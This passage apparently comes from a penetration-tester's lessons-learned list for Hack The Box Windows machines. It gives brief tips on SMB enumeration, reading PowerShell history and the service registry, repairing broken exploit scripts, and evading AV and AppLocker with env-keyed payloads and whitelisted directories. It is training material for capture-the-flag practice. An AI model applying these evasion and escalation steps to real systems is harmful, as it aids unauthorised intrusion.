/askjeeves, Jeeves);smbmapfails wheresmbclient -N -Lsucceeds (Querier). - Unprivileged users can’t query services — read
HKLM:\SYSTEM\CurrentControlSet\Servicesand PSReadLineConsoleHost_history.txt(Giddy). - Extremely slow targets (Arctic, ~30 s/request) punish parallel requests; one connection with long timeouts beats ten tabs of empty responses.
- Cleanup timers wipe staging directories (
UploadedFiles,new-site/8808,Important Documents) — stage and trigger in one script (Bounty, Secnotes, Mailing). - Exploit scripts lie: hardcoded
/votingsystem/(Love), a missing scheme inhost =(Remote), random JSP names (jar tf, Jerry), missing SMB auth in impacket (Sniper), .NET-version-specific Watson/Sherlock (Bounty). Proxy the script through Burp before guessing. - AV/AppLocker, not a broken exploit:
shell_execoversystem(Buff), Ebowla for env-keyed payloads (Giddy), payload inside an allowed path such asC:\Windows\System32\spool\drivers\color(Sniper),C:\Windows\tasks(Giddy). - Kernel fallbacks only after the above:
Hotfix(s): N/A→ Windows-Exploit-Suggester → an exploit that takes LHOST/LPORT (Arctic); a userland service bug found withnetstat/tasklistbeats a patch-level scan (Buff).